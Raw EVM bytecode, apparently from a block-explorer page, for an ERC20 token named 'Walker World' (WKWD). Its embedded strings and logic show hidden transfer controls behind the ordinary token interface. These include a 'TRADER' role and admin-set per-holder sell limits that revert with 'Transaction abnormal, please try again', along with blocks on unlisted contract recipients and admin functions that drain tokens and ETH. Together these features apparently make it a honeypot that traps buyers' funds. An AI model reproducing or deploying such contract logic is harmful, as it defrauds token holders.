09fc620007cd565b5b5f85015167ffffffffffffffff81111562000a1d5762000a1c620007d1565b5b62000a2b8782880162000917565b945050602062000a3e8782880162000994565b935050604085015167ffffffffffffffff81111562000a625762000a61620007d1565b5b62000a708782880162000917565b925050606062000a8387828801620009cc565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000ade57607f821691505b60208210810362000af45762000af362000a99565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000b587fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b1b565b62000b64868362000b1b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000ba562000b9f62000b9984620009aa565b62000b7c565b620009aa565b9050919050565b5f819050919050565b62000bc08362000b85565b62000bd862000bcf8262000bac565b84845462000b27565b825550505050565b5f90565b62000bee62000be0565b62000bfb81848462000bb5565b505050565b5b8181101562000c225762000c165f8262000be4565b60018101905062000c01565b5050565b601f82111562000c715762000c3b8162000afa565b62000c468462000b0c565b8101602085101562000c56578190505b62000c6e62000c658562000b0c565b83018262000c00565b50505b505050565b5f82821c905092915050565b5f62000c935f198460080262000c76565b1980831691505092915050565b5f62000cad838362000c82565b9150826002028217905092915050565b62000cc88262000a8f565b67ffffffffffffffff81111562000ce45762000ce3620007ed565b5b62000cf0825462000ac6565b62000cfd82828562000c26565b5f60209050601f83116001811462000d33575f841562000d1e578287015190505b62000d2a858262000ca0565b86555062000d99565b601f19841662000d438662000afa565b5f5b8281101562000d6c5784890151825560018201915060208501945060208101905062000d45565b8683101562000d8c578489015162000d88601f89168262000c82565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000e2b5780860481111562000e035762000e0262000da1565b5b600185161562000e135780820291505b808102905062000e238562000dce565b945062000de3565b94509492505050565b5f8262000e45576001905062000f17565b8162000e54575f905062000f17565b816001811462000e6d576002811462000e785762000eae565b600191505062000f17565b60ff84111562000e8d5762000e8c62000da1565b5b8360020a91508482111562000ea75762000ea662000da1565b5b5062000f17565b5060208310610133831016604e8410600b841016171562000ee85782820a90508381111562000ee25762000ee162000da1565b5b62000f17565b62000ef7848484600162000dda565b9250905081840481111562000f115762000f1062000da1565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000f3682620009aa565b915062000f438362000f1e565b925062000f727fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000e34565b905092915050565b5f62000f8682620009aa565b915062000f9383620009aa565b925082820262000fa381620009aa565b9150828204841483151762000fbd5762000fbc62000da1565b5b5092915050565b5f6020828403121562000fdc5762000fdb620007cd565b5b5f62000feb8482850162000994565b91505092915050565b62000fff8162000968565b82525050565b5f6040820190506200101a5f83018562000ff4565b62001029602083018462000ff4565b9392505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62001076601f8362001030565b9150620010838262001040565b602082019050919050565b5f6020820190508181035f830152620010a78162001068565b9050919050565b5f620010ba82620009aa565b9150620010c783620009aa565b9250828201905080821115620010e257620010e162000da1565b5b92915050565b620010f381620009aa565b82525050565b5f6020820190506200110e5f830184620010e8565b92915050565b6136b780620011225f395ff3fe608060405234801561000f575f80fd5b50600436106101a7575f3560e01c806349bd5a5e116100f75780639e252f0011610095578063cd1ec0531161006f578063cd1ec0531461052f578063d118d1871461054b578063d547741f14610569578063dd62ed3e14610585576101a7565b80639e252f001461049f578063a457c2d7146104cf578063a9059cbb146104ff576101a7565b8063626c5d27116100d1578063626c5d27146103f157806370a082311461042157806391d148541461045157806395d89b4114610481576101a7565b806349bd5a5e146103995780634a4084bf146103b75780635f2989ac146103d5576101a7565b80632a0acc6a1161016457806333f3d6281161013e57806333f3d628146102ed57806336568abe1461031d57806339509351146103395780633ae8e8e814610369576101a7565b80632a0acc6a146102955780632f2ff15d146102b3578063313ce567146102cf576101a7565b806306fdde03146101ab578063095ea7b3146101c9578063175c4ef8146101f957806318160ddd1461021757806323b872dd14610235578063248a9ca314610265575b5f80fd5b6101b36105b5565b6040516101c0919061256c565b60405180910390f35b6101e360048036038101906101de919061262a565b610645565b6040516101f09190612682565b60405180910390f35b610201610662565b60405161020e91906126b3565b60405180910390f35b61021f610686565b60405161022c91906126db565b60405180910390f35b61024f600480360381019061024a91906126f4565b61068f565b60405161025c9190612682565b60405180910390f35b61027f600480360381019061027a919061276e565b610781565b60405161028c91906126b3565b60405180910390f35b61029d61079e565b6040516102aa91906126b3565b60405180910390f35b6102cd60048036038101906102c89190612799565b6107a4565b005b6102d76107c8565b6040516102e491906127f2565b60405180910390f35b6103076004803603810190610302919061262a565b6107d0565b6040516103149190612682565b60405180910390f35b61033760048036038101906103329190612799565b61086a565b005b610353600480360381019061034e919061262a565b6108ed565b6040516103609190612682565b60405180910390f35b610383600480360381019061037e9190612799565b610994565b60405161039091906126db565b60405180910390f35b6103a1610a09565b6040516103ae919061281a565b60405180910390f35b6103bf610a2e565b6040516103cc91906126db565b60405180910390f35b6103ef60048036038101906103ea9190612833565b610a34565b005b61040b60048036038101906104069190612799565b610ab7565b60405161041891906126db565b60405180910390f35b61043b60048036038101906104369190612871565b610b2d565b60405161044891906126db565b60405180910390f35b61046b60048036038101906104669190612799565b610b72565b6040516104789190612682565b60405180910390f35b610489610bd6565b604051610496919061256c565b60405180910390f35b6104b960048036038101906104b4919061289c565b610c66565b6040516104c69190612682565b60405180910390f35b6104e960048036038101906104e4919061262a565b610cca565b6040516104f69190612682565b60405180910390f35b6105196004803603810190610514919061262a565b610db0565b6040516105269190612682565b60405180910390f35b610549600480360381019061054491906129f3565b610dcd565b005b610553610eb3565b6040516105609190612ab1565b60405180910390f35b610583600480360381019061057e9190612799565b610ecf565b005b61059f600480360381019061059a9190612ad1565b610ef3565b6040516105ac91906126db565b60405180910390f35b6060600380546105c490612b3c565b80601f01602080910402602001604051908101604052809291908181526020018280546105f090612b3c565b801561063b5780601f106106125761010080835404028352916020019161063b565b820191905f5260205f20905b81548152906001019060200180831161061e57829003601f168201915b5050505050905090565b5f610658610651610f75565b8484610f7c565b6001905092915050565b7f545241444552000000000000000000000000000000000000000000000000000081565b5f600254905090565b5f61069b84848461113f565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106e2610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610761576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075890612bdc565b60405180910390fd5b6107758561076d610f75565b858403610f7c565b60019150509392505050565b5f60055f8381526020019081526020015f20600101549050919050565b5f801b81565b5f801b6107b9816107b3610f75565b5f6111bd565b6107c38383611216565b505050565b5f6012905090565b5f805f1b6107e6816107e0610f75565b5f6111bd565b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b8152600401610821929190612bfa565b6020604051808303815f875af115801561083d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108619190612c4b565b91505092915050565b610872610f75565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146108df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d690612ce6565b60405180910390fd5b6108e982826112f1565b5050565b5f61098a6108f9610f75565b848460015f610906610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109859190612d31565b610f7c565b6001905092915050565b5f610a01670de0b6b3a764000060055f8681526020019081526020015f206002015f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113cc90919063ffffffff16565b905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b5f801b610a4981610a43610f75565b5f6111bd565b7f54524144455200000000000000000000000000000000000000000000000000008314610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa290612dd4565b60405180910390fd5b81600781905550505050565b5f610b25670de0b6b3a764000060055f8681526020019081526020015f206002016001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113cc90919063ffffffff16565b905092915050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060048054610be590612b3c565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1190612b3c565b8015610c5c5780601f10610c3357610100808354040283529160200191610c5c565b820191905f5260205f20905b815481529060010190602001808311610c3f57829003601f168201915b5050505050905090565b5f805f1b610c7c81610c76610f75565b5f6111bd565b3373ffffffffffffffffffffffffffffffffffffffff166108fc8490811502906040515f60405180830381858888f19350505050158015610cbf573d5f803e3d5ffd5b506001915050919050565b5f8060015f610cd7610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610d91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8890612e62565b60405180910390fd5b610da5610d9c610f75565b85858403610f7c565b600191505092915050565b5f610dc3610dbc610f75565b848461113f565b6001905092915050565b5f801b610de281610ddc610f75565b5f6111bd565b5f80610ded846113e1565b80925081935050505f151581151503610e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3290612dd4565b60405180910390fd5b610e56670de0b6b3a7640000836114f290919063ffffffff16565b60055f8881526020019081526020015f206002015f015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050505050565b6040518060600160405280602a8152602001613658602a913981565b5f801b610ee481610ede610f75565b5f6111bd565b610eee83836112f1565b505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe190612ef0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611058576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104f90612f7e565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161113291906126db565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a49061300c565b60405180910390fd5b6111b8838383611507565b505050565b6111c78383610b72565b611206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fd9061309a565b60405180910390fd5b611211838383611604565b505050565b6112208282610b72565b6112ed57600160055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550611292610f75565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6112fb8282610b72565b156113c8575f60055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061136d610f75565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b5f81836113d991906130e5565b905092915050565b5f805f5b83518110156114e4575f603085838151811061140457611403613115565b5b602001015160f81c60f81b60f81c61141c9190613142565b60ff16108061145a57506009603085838151811061143d5761143c613115565b5b602001015160f81c60f81b60f81c6114559190613142565b60ff16115b1561146b575f8092509250506114ed565b600181855161147a9190613176565b6114849190613176565b600a61149091906132d8565b60308583815181106114a5576114a4613115565b5b602001015160f81c60f81b60f81c6114bd9190613142565b60ff166114ca9190613322565b836114d59190612d31565b925080806001019150506113e5565b50816001915091505b915091565b5f81836114ff9190613322565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156c906133d3565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156115f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115eb90613461565b60405180910390fd5b6115ff838383611792565b505050565b5f60055f8581526020019081526020015f206002015f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f811115611772575f60055f8681526020019081526020015f206002016001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054836116c09190612d31565b9050818110611704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fb9061309a565b60405180910390fd5b8260055f8781526020019081526020015f206002016001015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546117659190612d31565b925050819055505061178b565b5f82148061177f57505f81145b1561178a575061178d565b5b505b505050565b5f151560085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611866576118107f545241444552000000000000000000000000000000000000000000000000000084611216565b600160085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b611871838383611876565b505050565b5f151560085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615150361194a576118f47f545241444552000000000000000000000000000000000000000000000000000083611216565b600160085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b61195583838361195a565b505050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a43576119b7611d03565b905080806119ed57505f6119eb60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b2d565b145b15611a3e576119fe5f801b85610b72565b611a3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a34906134ef565b60405180910390fd5b5b611cf2565b60636007541115611a7f57611a7a7f5452414445520000000000000000000000000000000000000000000000000000846001612095565b611cf1565b60316007541115611cf057611a938361210a565b8015611aec5750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b9e5750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf75750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611c50575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca9575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611cef575f611cee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce5906134ef565b60405180910390fd5b5b5b5b5b611cfd84848461212c565b50505050565b5f8060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d6f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611d939190613521565b90505f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e00573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e249190613521565b90505f8060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015611e92573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611eb691906135c8565b506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff1691505f8373ffffffffffffffffffffffffffffffffffffffff166370a0823160065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401611f36919061281a565b602060405180830381865afa158015611f51573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f75919061362c565b90505f8573ffffffffffffffffffffffffffffffffffffffff166370a0823160065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401611fd2919061281a565b602060405180830381865afa158015611fed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612011919061362c565b90503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361206b5782821115612066575f838361205b9190613176565b90506103e881119750505b61208c565b8381111561208b575f84826120809190613176565b90506103e881119750505b5b50505050505090565b6120b0670de0b6b3a7640000826114f290919063ffffffff16565b60055f8581526020019081526020015f206002015f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b6121385f801b84610b72565b8061214b575061214a5f801b83610b72565b5b156121605761215b838383612171565b61216c565b61216b8383836123e6565b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d69061300c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361224d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612244906133d3565b60405180910390fd5b6122588383836124c8565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156122db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d290613461565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546123699190612d31565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123cd91906126db565b60405180910390a36123e08484846124cd565b50505050565b6124107f545241444552000000000000000000000000000000000000000000000000000084610b72565b801561244257506124417f545241444552000000000000000000000000000000000000000000000000000083610b72565b5b1561247757612472837f5452414445520000000000000000000000000000000000000000000000000000836124d2565b6124b8565b5f6124b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ae9061309a565b60405180910390fd5b5b6124c3838383612171565b505050565b505050565b505050565b6124dd828483611604565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156125195780820151818401526020810190506124fe565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61253e826124e2565b61254881856124ec565b93506125588185602086016124fc565b61256181612524565b840191505092915050565b5f6020820190508181035f8301526125848184612534565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6125c68261259d565b9050919050565b6125d6816125bc565b81146125e0575f80fd5b50565b5f813590506125f1816125cd565b92915050565b5f819050919050565b612609816125f7565b8114612613575f80fd5b50565b5f8135905061262481612600565b92915050565b5f80604083850312156126405761263f612595565b5b5f61264d858286016125e3565b925050602061265e85828601612616565b9150509250929050565b5f8115159050919050565b61267c81612668565b82525050565b5f6020820190506126955f830184612673565b92915050565b5f819050919050565b6126ad8161269b565b82525050565b5f6020820190506126c65f8301846126a4565b92915050565b6126d5816125f7565b82525050565b5f6020820190506126ee5f8301846126cc565b92915050565b5f805f6060848603121561270b5761270a612595565b5b5f612718868287016125e3565b9350506020612729868287016125e3565b925050604061273a86828701612616565b9150509250925092565b61274d8161269b565b8114612757575f80fd5b50565b5f8135905061276881612744565b92915050565b5f6020828403121561278357612782612595565b5b5f6127908482850161275a565b91505092915050565b5f80604083850312156127af576127ae612595565b5b5f6127bc8582860161275a565b92505060206127cd858286016125e3565b9150509250929050565b5f60ff82169050919050565b6127ec816127d7565b82525050565b5f6020820190506128055f8301846127e3565b92915050565b612814816125bc565b82525050565b5f60208201905061282d5f83018461280b565b92915050565b5f806040838503121561284957612848612595565b5b5f6128568582860161275a565b925050602061286785828601612616565b9150509250929050565b5f6020828403121561288657612885612595565b5b5f612893848285016125e3565b91505092915050565b5f602082840312156128b1576128b0612595565b5b5f6128be84828501612616565b91505092915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61290582612524565b810181811067ffffffffffffffff82111715612924576129236128cf565b5b80604052505050565b5f61293661258c565b905061294282826128fc565b919050565b5f67ffffffffffffffff821115612961576129606128cf565b5b61296a82612524565b9050602081019050919050565b828183375f83830152505050565b5f61299761299284612947565b61292d565b9050828152602081018484840111156129b3576129b26128cb565b5b6129be848285612977565b509392505050565b5f82601f8301126129da576129d96128c7565b5b81356129ea848260208601612985565b91505092915050565b5f805f60608486031215612a0a57612a09612595565b5b5f612a178682870161275a565b9350506020612a28868287016125e3565b925050604084013567ffffffffffffffff811115612a4957612a48612599565b5b612a55868287016129c6565b9150509250925092565b5f81519050919050565b5f82825260208201905092915050565b5f612a8382612a5f565b612a8d8185612a69565b9350612a9d8185602086016124fc565b612aa681612524565b840191505092915050565b5f6020820190508181035f830152612ac98184612a79565b905092915050565b5f8060408385031215612ae757612ae6612595565b5b5f612af4858286016125e3565b9250506020612b05858286016125e3565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612b5357607f821691505b602082108103612b6657612b65612b0f565b5b50919050565b7f45524332303a207472616e7366657220616d74206578636565647320616c6c6f5f8201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b5f612bc66025836124ec565b9150612bd182612b6c565b604082019050919050565b5f6020820190508181035f830152612bf381612bba565b9050919050565b5f604082019050612c0d5f83018561280b565b612c1a60208301846126cc565b9392505050565b612c2a81612668565b8114612c34575f80fd5b50565b5f81519050612c4581612c21565b92915050565b5f60208284031215612c6057612c5f612595565b5b5f612c6d84828501612c37565b91505092915050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e63655f8201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b5f612cd0602f836124ec565b9150612cdb82612c76565b604082019050919050565b5f6020820190508181035f830152612cfd81612cc4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612d3b826125f7565b9150612d46836125f7565b9250828201905080821115612d5e57612d5d612d04565b5b92915050565b7f416363657373436f6e74726f6c3a206d656d6f206973206e6f742061206e756d5f8201527f6265720000000000000000000000000000000000000000000000000000000000602082015250565b5f612dbe6023836124ec565b9150612dc982612d64565b604082019050919050565b5f6020820190508181035f830152612deb81612db2565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612e4c6025836124ec565b9150612e5782612df2565b604082019050919050565b5f6020820190508181035f830152612e7981612e40565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612eda6024836124ec565b9150612ee582612e80565b604082019050919050565b5f6020820190508181035f830152612f0781612ece565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612f686022836124ec565b9150612f7382612f0e565b604082019050919050565b5f6020820190508181035f830152612f9581612f5c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612ff66025836124ec565b915061300182612f9c565b604082019050919050565b5f6020820190508181035f83015261302381612fea565b9050919050565b7f5472616e73616374696f6e2061626e6f726d616c2c20706c65617365207472795f8201527f20616761696e0000000000000000000000000000000000000000000000000000602082015250565b5f6130846026836124ec565b915061308f8261302a565b604082019050919050565b5f6020820190508181035f8301526130b181613078565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6130ef826125f7565b91506130fa836125f7565b92508261310a576131096130b8565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f61314c826127d7565b9150613157836127d7565b9250828203905060ff8111156131705761316f612d04565b5b92915050565b5f613180826125f7565b915061318b836125f7565b92508282039050818111156131a3576131a2612d04565b5b92915050565b5f8160011c9050919050565b5f808291508390505b60018511156131fe578086048111156131da576131d9612d04565b5b60018516156131e95780820291505b80810290506131f7856131a9565b94506131be565b94509492505050565b5f8261321657600190506132d1565b81613223575f90506132d1565b8160018114613239576002811461324357613272565b60019150506132d1565b60ff84111561325557613254612d04565b5b8360020a91508482111561326c5761326b612d04565b5b506132d1565b5060208310610133831016604e8410600b84101617156132a75782820a9050838111156132a2576132a1612d04565b5b6132d1565b6132b484848460016131b5565b925090508184048111156132cb576132ca612d04565b5b81810290505b9392505050565b5f6132e2826125f7565b91506132ed836125f7565b925061331a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613207565b905092915050565b5f61332c826125f7565b9150613337836125f7565b9250828202613345816125f7565b9150828204841483151761335c5761335b612d04565b5b5092915050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6133bd6023836124ec565b91506133c882613363565b604082019050919050565b5f6020820190508181035f8301526133ea816133b1565b9050919050565b7f45524332303a207472616e7366657220616d7420657863656564732062616c615f8201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b5f61344b6023836124ec565b9150613456826133f1565b604082019050919050565b5f6020820190508181035f8301526134788161343f565b9050919050565b7f45524332303a206f6e6c792061646d696e2063616e20616464206c69717569645f8201527f6974790000000000000000000000000000000000000000000000000000000000602082015250565b5f6134d96023836124ec565b91506134e48261347f565b604082019050919050565b5f6020820190508181035f830152613506816134cd565b9050919050565b5f8151905061351b816125cd565b92915050565b5f6020828403121561353657613535612595565b5b5f6135438482850161350d565b91505092915050565b5f6dffffffffffffffffffffffffffff82169050919050565b61356e8161354c565b8114613578575f80fd5b50565b5f8151905061358981613565565b92915050565b5f63ffffffff82169050919050565b6135a78161358f565b81146135b1575f80fd5b50565b5f815190506135c28161359e565b92915050565b5f805f606084860312156135df576135de612595565b5b5f6135ec8682870161357b565b93505060206135fd8682870161357b565b925050604061360e868287016135b4565b9150509250925092565b5f8151905061362681612600565b92915050565b5f6020828403121561364157613640612595565b5b5f61364e84828501613618565b9150509291505056fe307830303030303030303030303030303030303030303030303030303030303030303030303064456144a2646970667358221220f0a0e0274663ad43c3a964d658a157a8e96f072a02283be15701857891cff5e164736f6c634300081700330000000000000000000000000000000000000000000000000000000000000080000000000000000000000000c31b0812e4221d957be3a152ca3683532be9077400000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000000000000000000000000000000000000000000c57616c6b657220576f726c6400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004574b574400000000000000000000000000000000000000000000000000000000

Deployed Bytecode

